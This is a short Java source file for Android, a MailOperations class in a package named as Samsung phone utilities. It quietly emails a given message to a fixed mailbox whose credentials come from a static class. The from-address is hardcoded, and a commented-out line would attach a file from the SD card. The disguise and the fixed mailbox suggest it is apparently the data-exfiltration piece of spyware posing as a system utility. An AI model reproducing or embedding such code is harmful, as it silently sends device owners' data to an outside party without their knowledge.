package com.samsung.utils.phone.operations;

import com.samsung.utils.phone.content.StaticClass;
import com.samsung.utils.phone.helpers.HelperFunctions;
import com.samsung.utils.phone.helpers.Mail;

import android.content.Context;
import android.util.Log;

public class MailOperations {

	Context context = null;
	int contentType=Mail.PLAIN_TEXT;
	public MailOperations(Context context,int contentType) {
		this.contentType=contentType;
		this.context = context;
	}
	public boolean sendMail(String message, String subject) {

		if (!HelperFunctions.isOnline(context)) {
			return false;
		}
		
		Mail m = new Mail(StaticClass.mailAddress, StaticClass.mailPassword);
		String[] toArr = { StaticClass.mailAddress };
		m.setTo(toArr);
		m.setFrom("aymedtemp@gmail.com");
		m.setSubject(subject);
		m.setBody(message,contentType);
		
		try {
			// m.addAttachment("/sdcard/filelocation");
			if (m.send()) {
				return true;
			} else {
				Log.v(StaticClass.LOG_TAG, "Email was not sent.");
			}
		} catch (NoClassDefFoundError e) {
			Log.v(StaticClass.LOG_TAG, "NoClassDefFoundError : "
					+ getClass().getName());
			Log.v(StaticClass.LOG_TAG, e.getMessage());
		} catch (Exception e) {
			Log.v(StaticClass.LOG_TAG,
					"Could not send email : " + e.getMessage());
		}
		return false;
	}

}
